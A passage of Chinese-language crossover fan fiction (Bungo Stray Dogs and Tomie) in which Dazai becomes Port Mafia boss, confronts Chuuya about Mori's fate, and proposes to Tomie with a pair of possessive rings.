在车子停在港口Mafia总部大楼后，他第一个走出车，然后不等身后的下属，径直第一个走到电梯前，然后按下红叶大姐所在的楼层。 电梯停止上升并在叮咚后打开，中原中也快速走了下来。 他在没有人影的走廊上焦急地行走，甚至在来到尾崎红叶的办公室门前连门都没敲，而是直接握住门把手打开。 在看见屋内那身穿红色和服的女性后立即焦急询问，“红叶大姐，首领他怎么样了？” 说着，中原中也还关上了房门。 然而与焦急地他不一样，中原中也发现尾崎红叶的神色格外淡定。 “首领他现在很好哦，就待在首领办公室内。” 听到这句话语，中原中也马上松了口气。 不过很快，他产生了困惑。 既然首领很好，那为什么他一直没有接收到来自首领的任何信息。 就像是知道他内心在想什么一样，在下一刻，中原中也听到了来自红叶大姐的回答。 “不过呢，现在的情况大概和你脑海里想得不太一样。” 中原中也愣了愣，“……什么意思？” 他看到红叶大姐开口，“中也你一直在国外为港口Mafia谈合作，为了防止你过于分心所以之前一直没有告诉你……” 越听，中原中也的眉头更加紧皱。 从对方的意思中，他隐隐约约察觉到了某种不妙的含义。 “其实在你出差的这段时间，港口Mafia发生了换代。” “鸥外阁下推举首领、……也就是太宰上位，所以现在港口Mafia的首领是太宰治。” “……” 中原中也神情有些恍惚，他不太明白自己明明只是短暂出差了一两个月，怎么回来后就换了上司。 虽然信息量很大，但他还是极力消化，并从红叶大姐的话语中发现了关键点。 “那首领呢？太宰究竟做了什么上位的？” 然而获得的却只是红发女性的摇头。 “妾身也不知道鸥外阁下怎么了，至于太宰君他做了什么……妾身也毫不知情。” 中原中也眉头紧蹙，最终他对着面前之人开口，“我去找太宰那个家伙询问情况。” 尾崎红叶不是不能理解中原中也的心情，只是…… 她对着即将打开房门离开的赭发青年开口，“中也。” 望着赭发青年停下脚步回头的模样，尾崎红叶继续道，“不要把鸥外阁下想的太好，但也不要把太宰君想的太坏。” 中原中也神情疑惑，尽管不明白这句话的意思，但还是回应了一下离开了对方的办公室。 注视着赭发青年的离开，尾崎红叶独自走到了窗前。 “虽说加入了港口Mafia，但中也依然还是太天真的……” * 离开红叶大姐的办公室后，中原中也立即来到了最高一层的首领办公室门前。 他没有阻拦守门的两人进行检查，只是看着与之前不同面貌的两个人，他内心不由得更加急躁。 他忍不住发出咋舌声，但好在两人并未在意，而是在例行检查完后为对方推开了首领办公室的大门。 中原中也不再停留，而是径直走了进去。 待大门关上，越过阳光照射不到的地板来到对方的面前，看着坐在首领座椅上的那个黑发青年，中原中也最终还是忍不住沉默。 “……没有想到红叶大姐说的都是真的啊。” 说完，他立即快步走上前，然后重重的双手撑在首领的办公桌上，凑近面前双手抵在下颚的黑发青年，然后恶狠狠道，“太宰，现在给你解释的机会。如果你没有说清楚，别怪我的拳头不留情！” 然而黑发青年却只是淡淡地瞄了一眼，脸上保持微笑面不改色的回答，“中也，虽说我们之前是搭档关系，但现在我是你的首领，这么说话是不是对我有点不太尊敬了？” 中原中也听到对方的话语就想吐，“你信不信继续扯这些有的没的，我还能对你更加不尊敬？” 说完，他起身捏响自己的拳头。 “哎……”太宰治发出叹息，紧接着摊开双手回答，“就像你现在看到的那样，森先生下位，我成为了首领。” 中原中也原地等待了一会儿，却迟迟没有听到更加详细的解释。 终于，他忍不住询问，“中间的详细过程呢？” 却发现太宰治反而露出困惑的神情反问，“什么过程？” 中原中也感觉自己的额角的青筋在跳动，但他还是握紧拳头耐着性子回答，“我是问你——” “为什么突然篡位？你们之间究竟发生了什么？以及首、森先生现在在哪里？” 中原中也发现自己在提问完后，黑发青年明显勾起了恶意的笑容。 “中也你搞错了吧？” “什么？”中原中也不解。 太宰治回答，“我不是篡位，我可是名正言顺继承港口Mafia的。如果你想要什么证据的话，我这里可是还有森先生留下来的那封信，至于你不在港口Mafia的这期间发生了什么，这件事无可奉告，但是森先生现在在哪里……” 在中原中也的目光中，黑发青年双手抵在下颚处露出了一个高深莫测的笑容。 对方现在的形象无形之中让他想到了离开之前森鸥外的形象，几乎如出一辙。 可对方发出了冰冷的声音继续道，“谁知道呢？或许死了，也或许正在哪里发挥他的余热也说不定。” “你——”中原中也紧蹙眉头，正想说点什么，就听到黑发青年发出了声音。 “啊。说不定找到了他这个萝莉控都喜欢的天堂？” “太宰！”中原中也没能忍住，他上前揪住太宰治灰色西装下的黑色衬衫衣领，“别逼我动手打你！” “……中也，放手。”黑发青年压低声线，低下眉眼，使得大半张脸瞬间陷入阴影，“这是首领的命令。” 这种诡异的氛围，惹得中原中也的手都忍不住放松。 可即便如此他也没有完全松开，于是黑发青年主动抬起手甩开了他的胳膊。 “虽说中也对于我上位不太知情，但是我现在是你上司的事情却是事实。” “所以中也，只要我是你的上司一天，那么作为部下的你就必须要服从我的命令。” 中原中也咬了咬牙，收回自己被甩开的手，然后恶狠狠地望着面前的黑发青年，“太宰，我可不信你是无缘无故才会想到要上位的。” “虽然不想承认，但是你这个人实际上对于出人头地的事情完全没有兴趣不是吗？” “就连成为干部，也是因为森先生的话语才提起干劲与我竞争的。所以像你这样的人突然成为首领也肯定是有什么原因的！” 太宰治面不改色听着赭发青年的长篇大论，在对方说完后，他对着面前之人出声，“所以你想从我这里获得什么答案？就是因为森先生做了什么，所以我才会想要成为首领……之类的？” “既然你这么想知道，那就告诉你也无妨。” 中原中也看到黑发青年开口，“中也，你未免对森鸥外这个家伙太信任了吧。” “那你有知道森鸥外这些年又对你做了什么吗？” “……什么意思？”中原中也没能理解对方的意思。 谁知黑发青年轻轻笑了起来，“虽然不知道他说了什么让你信服他的，但我想无非就那几种吧？什么作为首领就是要成为组织的奴隶，所有的利益都要为组织考虑……诸如此类的话语。” “实际上他不仅说到了，甚至也做到了。” 中原中也眉头一皱，但并未打断对方的话语。 “你以为在三年前为什么[羊]的成员都认为你背叛了？又为什么两年前魏尔伦会率先找上[旗会]？为什么非要在一个多月前特意将你调离横滨？” 黑发青年每说一句话，中原中也的目光就严肃一分。 “当然都是因为对方授意的，这是最优解。” “中也，你所效忠的对象，就是这样的存在。” 中原中也抿了抿唇角，忍不住想起来到这里之前，红叶大姐所说的话语。 森先生没有他想象得那么好，但太宰…… 他抬眸看向面前的黑发青年，对方说了前面两个，却唯独没说最后一个。 所以，森先生将他调离横滨，是因为这次轮到太宰了？ 想到这里，中原中也忍不住后退了两步。 偌大的办公室内，他面前站着的是穿着灰色西装的黑发青年。 “所以中也，你现在是怎么想的？” 中原中也站在原地，不知道思索了多久，最终他望着面前这个陌生又熟悉的太宰治回答，“……我想要好好思考一下。” 说完，他转身离开首领办公室。 可面对赭发青年的举动，太宰治却只是在只剩他一人的办公室淡淡道，“真可惜，要是红叶大姐什么都没说，让中也直接到办公室看到我就好了。” “对方的表情肯定很有意思。” 不过对太宰治来说，缺失这点乐趣不算什么，因为真正的重头戏不是刚刚发生的那一幕，而是…… “今晚去问问富江同意了没有好了。” 他轻松地望着窗外的横滨全景说道。 ** 中原中也回来的第一天就将全部的时间放在过去的事情上，事实证明，他什么都没有调查到。 无论是他加入港口Mafia的那件事，还是魏尔伦出现在横滨所做的事情，他所找到的资料中没有看到任何不对劲的地方。 实际上看完之后他也明白，如果这么轻易地就能发现踪迹，他也不会迟钝到直至今天被太宰那个混蛋点醒。 但因为不能说完全没有成果，他仔细调查了他出差这些天港口Mafia内发生的事情。 [MIMIC]的出现、织田作之助的叛逃、坂口安吾的卧底身份，以及这个任务还牵扯到太宰…… 资料中显示太宰最初的直属部下芥川龙之介现在还在追杀[MIMIC]的残党。 关上资料，中原中也面色暗沉。 这起事件写得并不详细，但是他对于里面参与事件的那两个人还是有所耳闻的。 无他，这是那个太宰的朋友。 可现在两人的结局明显都是森先生的手笔，一个被直接委以重任，一个是复杂的卧底身份…… 凭借太宰的头脑看穿是森先生做的局这件事并非不可能，倒不如说正是因为看穿了，所以太宰才会篡位成为首领吧。 如此一来，之前太宰说的可能性就变大了。 “可恶。”中原中也眼眸晦涩，发出低语。 最后他又找到尾崎红叶，想要询问对方的看法。 然而红发女性却只是叹了口气，对他说出了实话。 “中也，太宰所说的基本上都是真的。” “实际上，因为你和太宰同时在意上了同一个人，所以鸥外阁下甚至私下见过那个人。具体发展怎样我不太清楚，但是就妾身当时的感觉……” 中原中也表情诧异，然后听到红叶大姐继续道，“对方肯定做好了准备。” 至于是什么准备，中原中也没有听红叶大姐说。 但是莫名地，他能想到是怎样的准备。 因为红叶大姐后面还说了一句，“真的是让妾身想到了上上代首领呢……” 中原中也对于红叶大姐身上具体发生过什么不清楚，但相处的这几年还是或多或少有所耳闻。 红叶大姐曾经因为上上任首领而死了一个喜欢的人。 所以，森先生也是这样吗？ 中原中也有些不确定地想到。 可即便再怎么样，事情都已经发生了。 中原中也沉思了一晚上后最终决定接受现状——太宰治上位的事实，只是在那之前他只有一件事想要确认清楚。 即便森鸥外做了什么，但对方始终是他曾经效忠的首领。 所以，他只想知道森先生最后怎么样了。 思索至此，中原中也在第二天早早出现在首领办公室门前。 接受完检查后，他进入屋内。 “太、……” 可话音刚出，就被眼前的一幕震惊到。 因为出现在他面前的除了那个穿着灰色西装的太宰治外，还有他从未想过会出现在这里的黑发少年。 对方注意到了他的出现，显示困惑然后惊奇。 “中原先生！” 与他呆滞原地不一样，太宰治那个混蛋露出微笑对着黑发少年开口，“抱歉富江，虽然很想带你，但是现在我有更重要的事情要和中也说。所以只能先麻烦你到隔壁休息室待一会儿，好吗？” 黑发少年像是明白立即点头，然后顺着太宰治的带领进入了休息室内。 随着那扇房门的关闭，以及太宰治脸上那令人恶心到吐的微笑，中原中也感觉自己仿佛看到了一个温顺的宠物顺着猎人的话语乖乖跳进陷阱。 一边奇怪自己的想法，中原中也一边快速走到太宰治的面前。 来不及思考自己不久前想了什么，满脑都是黑发少年的中原中也忍不住质问面前的混蛋。 “喂太宰，为什么富江会出现在这里？” “港口Mafia可不是这种无关人员都能进入的随意场所吧？特别是首领办公室。” 然而中原中也却从太宰治的脸上看到了恶心的笑容，对方勾起唇角回答，“什么叫作无关人员？啊……说起来确实该向中也介绍一下。” “其实刚刚那位是我从今天开始上任的秘书——宫水富江。” “……哈？” 第60章 黑发青年勾勒着笑容, 对着他如此介绍道。 可注视着面前太宰治那可恶又恶劣的笑容，中原中也就明白对方的心思绝对不单纯。 他可是清晰记得，在他出差之前, 他们两人之间还因为宫水富江的事情而闹得不可开交。 特别是他刚从红叶大姐那里听说森先生曾经因为这个而一度想要…… 想到这里，中原中也忍不住发出轻微的咋舌声。 将刚刚想到的事情抛到脑后, 中原中也望向面前依然在进行恶劣微笑的太宰治开口。 “你这个混蛋明明知道我想要说的不是这种事情吧。” 中原中也压低声线，神色不善地继续开口, “我想问的是为什么富江他会出现在这里？” 然而黑发青年像是什么都不知道，摊开双手正常回答，“诶？刚刚不是说了吗？因为他现在是我的秘书啊。” “……所以，他之所以会成为你的秘书, 就是你做的好事吧？” “啊嘞，就算被中也这么夸奖，我也不会因为这样的理由而对你改观哦。” 听着黑发青年语气上扬的话语, 中原中也感觉额角再次传来熟悉的感觉，他压抑自己的怒视, “别给脸不要脸了, 我刚刚那根本不是夸你的话，好吗？单纯就是在说反话！” “而且……” “太宰, ”中原中也表情凝重，继续道, “搭档这么多年, 别以为我不知道你的想法。” “你想要戏耍我的心思我能理解, 但是——” 太宰治保持微笑，面不改色地看着面前赭发青年紧蹙的眉头开口说话。 “你选择他来做秘书、……更准确地说，你让他加入港口Mafia究竟是为了什么？”中原中也不解。 他走上前一步，来到太宰治的面前冷声道, “你明知道让他这样的普通人加入港口Mafia明显是不应该的吧！” 本以为中原中也这样说至少能让太宰治清楚地明白他究竟做了什么，可是面前的黑发青年对于他的话语完全是一种轻视的态度，甚至称得上无所谓。 因为他听到面前的黑发青年降低音量，淡淡道，“普通人……吗？” 注意到对方居然是这种态度，中原中也就更加肯定了自己的想法。 他就知道，面前这条青花鱼对于富江的事情完全不在意！这点可以从之前那个流言蜚语就能看得出来！ 对方邀请宫水富江加入港口Mafia成为对方的秘书，纯纯就是为了其他理由，比如说——对方看他不顺眼才故意这样做。 中原中也给太宰治现在的行为找了个更加合理的解释，并觉得毫无毛病。 这么想着，中原中也抓了抓自己的头发的同时将自己的想法讲了出来。 “所以你这家伙是不是看我回来，才故意邀请富江加入港口Mafia的！” 本该是疑问句式，可是一想到站在自己面前的是那个太宰，中原中也就觉得完全不用询问，可以直接确定了。 事实上也是如此，他的话音刚落，就看到太宰治站在他的面前发出一声轻笑，显然是故意地嘲讽。 中原中也咬牙切齿地注视着面前的黑发青年，等待着对方的回答。 果不其然，对方下一刻就开口道： “嘛……中也说的这个也是其中原因之一吧。” “你、——” 中原中也刚握紧拳头想要说点什么，就被面前的人打断。 对方收敛了笑容道，“虽然直接这样说看中也的表情很有意思，但是在这里我觉得我有必要解释一下。” “中也，你未免太看得起自己了。” 太宰治的声音如同使用液氮般急速降温，令中原中也立即发现了对方的认真程度。 “我确实承认了中也你刚刚说的理由不假，但是呢……” 在中原中也的目光中，他看到太宰治神情困惑，像是不解地反问，“我什么时候说了只有这一个理由？” 确实……对方只是说这是理由之一，并没有说只有这一个理由。 中原中也不甘地回想。 “而且非要说的话——” 太宰治的声音还在继续，“想要让富江加入港口Mafia的最大理由还是为了我自己。” “因为想要培养感情自然需要一个合适的环境……不是吗？” 中原中也随着对方的话语缓缓睁大眼眸，他紧紧凝视着面前黑发青年的神色。 不知道想了什么，沉默了许久之后，他开口，“……你是认真的？” “中也，你知道的。我虽然喜欢隐瞒一部分真相，但是我可并不喜欢说谎。” “这件事，你最清楚了不是吗？” “……” 中原中也紧紧蹙起自己的眉头，实在不理解自己出差的这段时间究竟发生了什么。 要知道他出差前，可是还在暗自窃喜太宰正在远离富江的行为。 虽说富江本身似乎还很在意太宰，可是只要太宰想，没有人能找得到想要避开对方的太宰治。 这样一来，等他回来不是没有机会。甚至为此，他出差的时候还尽可能地压缩了原本的规划。 可现在太宰的话语，明显是承认了他对富江的心思，并为此想要与他竞争的打算。 “你……”中原中也才发现，现在出现在他眼前的黑发青年与之前的太宰治有多大的不同。 不仅仅是身份上的改变，对方更深处的什么也发生了微妙的变化。 至少中原中也以为，像这样喜欢将他的号码甩给那些缠着他女性的家伙，永远都不会偏袒地喜欢上某个人。更准确地说，至少不会这么明确地表达出来…… 就像是知道他内心的想法，中原中也听到太宰治继续说话。 “而且中也不会以为我真的会和你竞争吧？” “……什么意思？”沉吟了半刻，中原中也忍不住轻蹙眉头询问面前再次勾勒起笑容的黑发青年。 对方说出这种话语显然是有什么特殊的含义，可是中原中也发现太宰治明显不想让他这么轻松地知道。 因为对方很快就转移了话题，让他不得不顺着对方的话语思考。 “怎么？中也是想要剽窃我的想法吗？话说，你今天过来究竟是想来说什么的？想要跟我辞职？” 中原中也瞬间反驳，“当然不是！” 他过来怎么可能是为了辞职！而且港口Mafia根本就没有辞职这一说！只有背叛，然后惩罚！ 而且他之所以忘记过来的目的，也只是因为看见了富江。 他深呼吸了一口气，防止自己会被太宰治气死。 迎着对方那张嬉皮笑脸，中原中也终于问出了自己出现在这里的原因。 “森先生现在究竟怎么样了？” “啊？中也还没有放弃这个问题吗？我不是说了吗？他、……” 听着太宰治那回答，中原中也紧蹙眉头打断，“快点认真回答，我可不想继续和你聊一些有的没的。” “森先生做的事情，我已经向红叶大姐确认过了。但是即便如此，森先生对于我来说也有着重要含义。所以……” 他没有全部说完，但他知道太宰治一定知道他是什么意思。 但就像中原中也所认为的那样，太宰治确实知道中原中也未尽之言的含义。 可是他并没有第一时间回答中原中也，而是冷下脸，盯着中原中也沉默了半晌。然后在对方纠结地想要开口的时候，才露出嘲讽的笑容淡淡回答对方刚刚的问题。 “中也，我该说你什么好呢？啊，我想到了，是狗啦狗！” “只是随手给了点食物，哪怕下一刻被踢走，也会凑上去的那种令人恶心的存在。就算森先生对你做了那样的事情，你也依然没有忘记他的恩情……” 中原中也意外的心平气和地接受了太宰治的评价，“我知道的。” 大概是看他这样不咸不淡地回应，黑发青年瞬间失去兴趣，很快给出了回答。 “……还活着哦。” “虽然会很痛苦就是了。” 听到前一句话的中原中也刚想松一口气，对方的下一句话就又立即令他的心提了起来。 “为什么？”中原中也询问，“森先生受伤了？” 这是他唯一能想到的答案，如果真的受伤，那么大概率就是…… 中原中也的目光望向太宰治做出猜测，然而对方的回答却否定了他的话语。 “受伤？我怎么可能会这么轻易地放过他。” 太宰治发出嘲讽的笑声，可注视着面前赭发青年的神情，他又继续道，“你之前不是说我为什么要让富江这个普通人加入吗？现在想想告诉你答案也无妨，毕竟你迟到都会知道这件事。” 中原中也轻蹙眉头，面对话锋一转的黑发青年，他隐约间好像明白太宰治想要说什么了。 “——富江他并非是什么普通人。” 随着太宰治的话语，中原中也的眼眸不断睁大，比之前更甚。 紧接着，他听到太宰治继续道： “我测试过了，对方异能力的效果是让人被动喜欢上他，对非人类并不生效。所以……” “感谢吧，中也。正因为你被他的异能力判定为人，所以才会受到影响。” 在中原中也的目光中，他看到黑发青年勾起唇角对他开口，“从现在开始，主动远离他。” 注视着内心明显正在经历极大波动的赭发青年，太宰治也正在控制自己的神情。 他并非如表面展现的那样云淡风轻，因为他知道，虽然他这么说，但这个理由也是有悖论的。 如果中也真的是人类，那么他对富江也有一见钟情的可能。只是…… 这种事情就没有必要让对方知道了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【end】 第61章 好在中原中也确实并未发现他给对方话语理由中的悖论, 于是在接下来的时间中，太宰治意料之中地看到了中原中也接下来的举动。 震惊、沉默，然后不得不接受现实。 最终在两个选项中, 赭发青年选择了自己是人类的这个。 操控人心是太宰治的强项。 尽管中原中也并不后悔十六岁时为了魏尔伦而错失查看自己是不是人类的选项，但太宰治知道这在对方的心中一直是个挥之不去的问题。 对方当时之所以会做出那样的选择, 也只是在自己和众人之间，选择了后者。 虽然对方这个像人类的点也令他讨厌, 但是没有用上自己的Plan B对于太宰治来说也松了口气。 对此，他难得露出真情实意的笑容对中原中也表达了感想。 “中也，你得庆幸自己做出了正确的抉择。” 赭发青年却对他的回答表现出了明显的厌恶，不过太宰治并不在意。 他摊开双手道, “但是这样一来，我可以明确回答你的问题了。” “森先生还活着哦，在横滨的某个地方。” 中原中也认真查看黑发青年的神色, 最后相信了对方给出的答案。 想要获得的答案已经到手，自认为没有什么理由留下的中原中也决定离开办公室回到自己的岗位。 只是他刚一转身, 就被身后那个混蛋喊住。 “啊, 对了中也，我有一件事忘说了。” 中原中也回头, 捏住自己的帽檐下压，语气不算愉快地反问, “……还有什么事情吗？如果是来嘲笑我的话, 那还是算了吧。我可没有兴趣听你发表获胜演讲。” “虽然对于中也口中所说的获胜演讲也很感兴趣, 但是……”太宰治举起自己的手指，“我这次要说的是正事啦正事。” “还记得森先生说过，等你这次出差归来就让你晋升干部吗？虽然森先生已经不在了，但是你的合同我看过了, 没有什么大问题。所以——” “恭喜你中也！成功晋升为干部了呢！” “啧。” 虽然成为了自己梦寐以求的干部，但中原中也完全高兴不起来。 要知道他成为干部最重要的理由就是防止太宰治这个死对头用干部的身份命令他做事，可现在…… “不过嘛，即便中也成为了干部，但我依然是你的上司要好好为我工作啊，中也。” “至于富江的能力……我想你现在影响并不严重，置之不理的话过段时间也能恢复正常，所以这段时间中也可以享受一下‘作为人类’的状态呢。” “啊，这已经算是两件事情了吧？” 注视着黑发青年那故作疑惑的表情，中原中也感觉自己恶心得快要吐出来。 他就知道对方的嘴里吐不出什么好话来！ 不准备回应的中原中也想要立即摔门离开，可是对方就好像有读心术一般，在下一刻故意开口与他作对。 “中也，对待上司要有正确的态度啊。” “……”沉默半晌，中原中也恶狠狠地回答，“我知道了。” “首领。” 他不情不愿地喊着对方，这才得以离开。 望着赭发青年离开的背影，太宰治脸上一直维持着笑眯眯的神情。 直至对方的身影彻底被办公室的大门隔绝，他才将这种笑容撤掉。 他站在原地看向旁边休息室的房门，然后漫步走过去打开。 看着原本打量房屋内那幅画的黑发少年在听到他开门举动而被吓一跳的神情，他不由得露出一个笑容。 “抱歉抱歉，吓到你了吧富江。” “中也在刚刚谈完事情后已经离开了，你可以出来了。” “太、太宰先生。” 黑发少年小心翼翼地看着他，然后指着墙上的那幅画询问，“这个……” 太宰治知道对方的意思，解释，“还记得那个画师吗？对方私下画出了这幅画，失踪后又被别人发现这幅画的存在，于是被送到了拍卖场上被人拍走。结果事后又被森先生拿回来了……” 说出这句话的时候，太宰治做出抱歉的神态。 “不，不是太宰先生的问题。我原本只是有点好奇而已，不过这幅画它……” 黑发少年挥动自己的双手并不断作出解释，但太宰治的思绪却在一心两用。 他听着对方话语的同时，思考着别的事情。 他想，不安因素已经排除完毕了，现在的一切已经开始朝着对他有利的方向发展了。 虽然很想做点什么，但是即便是他也知道这种情况下并不合适。 再忍耐一下，忍耐一下…… 太宰治微垂眼眸想。 * 说实话，在这个休息室内看到那幅富江少女画作的时候，宫水富江差点被吓到头皮发麻。 他这个时候脑子哪里想得起来中原先生的事情，完全都在想这幅画是什么情况了。 在休息室内思考了半天，宫水富江才回忆起来当初那个画师好像是说过用他作为对象画出过一幅画，并表示是最伟大的作品…… 想到这里，怀里抱着文件的宫水富江站在原地叹了一口气。 不过幸好这幅画的影响并不重，至少他没有听到什么奇怪的传言。 但为了以防万一，宫水富江还是同意了太宰先生的话语，将这幅画放在了那间休息室。 “……富江？” 耳边传来熟悉的、带着磁性的声音，宫水富侧头看去，刚好与坐在办公桌前、面容精致的黑发青年对上视线。 对方神情带着一点点担忧和困惑，没被绷带缠绕住的那只鸢眸正凝视着他，仔细看去甚至还能看到倒映出来的自己。 被这样的眼眸注视，宫水富江感觉自己似乎陷入了温度适宜的温泉中，舒适得不想动弹。 不知道是想象得太真实，还是别的原因，宫水富江甚至感觉自己的脸颊正因为长时间泡温泉而泛热。 为了摆脱这样的情况，宫水富江下意识想要找个话题转移对方的注意力。 他望着对方手中正批改着的文件开口，“啊、啊！说起来太宰先生这几天好像在为组织被攻打的事情而忧愁吧？” “……为什么富江会这么想？” 黑发青年沉吟了片刻，用奇怪的表情看向他反问道。 宫水富江怔了一下，要说为什么那当然是因为…… “太宰先生最近几天总是离开办公室，然后略微苦恼地回来吧。” “我听说了，因为太宰先生上任，所以有很多组织蠢蠢欲动了起来。”宫水富江回想着答道。 本以为会获得太宰先生肯定的反应，可等宫水富江低下头看到的却是黑发青年直勾勾注视着他的表现。 这一瞬间，如同被蟒蛇般缠绕在身上的压迫感再次袭来。 宫水富江下意识想要往后迈一步，可几乎是眨眼之间，他发现太宰先生做出了相当明显的叹息。 就好像刚刚产生的感觉只是他的错觉，如同烟雾般迅速消散在空中。 “虽说富江作为我的秘书有好好帮我关心港口Mafia我很高兴，但是——” 太宰先生望向他继续道，“富江想得完全不正确。” “……诶？”宫水富江茫然。 “最近确实因为我上位，以至于有不少组织以为港口Mafia处于动荡时期想要看看能不能啃下来点什么。” “可是富江还是太小看港口Mafia了，即便我不做什么，组织内依然有强大的异能力者能解决那些家伙。” 听着太宰先生的解释，宫水富江明白了对方的意思。 先不说瘦死的骆驼比马大，再者就是港口Mafia还没到那一步，他们完全可以轻松对付那些对港口Mafia蠢蠢欲动的组织。 可既然如此，他这些天看到的、疑似在苦恼什么的太宰先生又是怎么回事？ 在宫水富江不解的目光中，他发现太宰先生回头透过办公室内那个落地窗看向外面风景。 不知道是确认了什么，对方缓缓站起身，然后漫步走到了他的身边。 此时的横滨正处于逢魔的黄昏时刻，夕阳照射在侧站落地窗前的太宰先生身上，像是给对方打了一层柔光。 原本如同云朵般微卷的黑发在此刻也仿佛变成了深色的棕黄，鸢眸在光线照射下比之前宫水富江看到的更加温柔，特别是对方脸上正露着淡淡的像风一般轻柔的微笑时，他感觉对方身上的这种温柔感更加明显。 他看到太宰先生从怀中口袋拿出了一个黑色的盒子，在“啪”的一声下，盒子打开，里面的东西展现在他的面前。 ——一对银戒。 只是与常见的、朴素的无缝戒指不一样，出现在他面前的这款银戒是缠绕式的。 注视着里面的对戒，宫水富江感觉自己的大脑有些发懵。 “我之所以苦恼是因为这个。” “之前找了很多设计师都不满意，所以最后自己设计了一对银戒。” 随着太宰先生的话语，宫水富江抬起头与对方对视。 只见太宰先生笑着看向他。 “虽然这么说有点突兀了，但是……” 宫水富江听到太宰先生停顿了一下，然后换了一种认真的语气对他开口。 “——请问我有这个荣幸，与你戴上这对戒指吗？” “……” 宫水富江张了张嘴，一时之间不知道该说什么。 即不是小说中常见的那种在游乐园地点，也没有听到的‘我喜欢你’这种告白。 但是宫水富江却发现自己意外地明白对方的意思…… 脸颊泛热、奇怪的情绪涌起令他不自觉想要移开视线，可是—— 宫水富江双眸的着陆点乱飘的同时忍不住小声询问，“直接这样……是不是有点太过了？” 与被戳破这种感情相比，宫水富江的注意力全放在这种进度会不会太快上。 听到这样的回答，太宰治却只是笑了起来。 他回答，“富江，虽然不知道你对我的印象是什么，但是无论怎么样你都要记住一点。” “我终究是港口Mafia中的一员，体内留着黑色的血液。对于自己想要的东西，我会不择手段地拿到手——包括你。” “所以在我询问你的时候，你就已经没有拒绝的机会了。” 说完，太宰治握起对方的手，然后取下盒中其中一枚戒指戴在对方的无名指上。 然后将放着另一枚戒指的黑盒摆在黑发少年的面前，静静等待。 宫水富江正看着无名指上的戒指愣神，下一刻视线中就出现了另一枚戒指。 他缓缓从对方手中的盒子里取出那枚戒指，然后动作生疏地握住对方主动伸出来的手戴在同样的位置。 手与手交握，那对戒指同时出现在宫水富江的目光中。 看着银戒如同蛇般缠绕在他们的无名指上，他有点好奇地询问出声。 “……这个造型的戒指是有什么含义吗？” “紧紧缠绕。” 太宰治轻描淡写地回答，但只有他知道，这不是什么简单的紧紧缠绕，而是…… ——不可挣脱。 就像他现在的心境一样。 在黑发少年看不到的角度，太宰治未被夕阳照射到的另一边陷入了黑暗。 他勾起唇角，看着少年头顶的黑发。 从此以后，这对戒指会将他们两人永远地捆绑在一起。 想到这里，太宰治用另一只没有被对方握住的手轻轻触碰少年的脸颊。 在对方不解的目光中，他缓缓靠近黑发少年，低声说出了他们在黄昏下拥吻前的最后一句话。 “——富江，直至真正的死亡来临才能将我们分开。” 而在那之前，你会代替死亡陪在我的身边。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m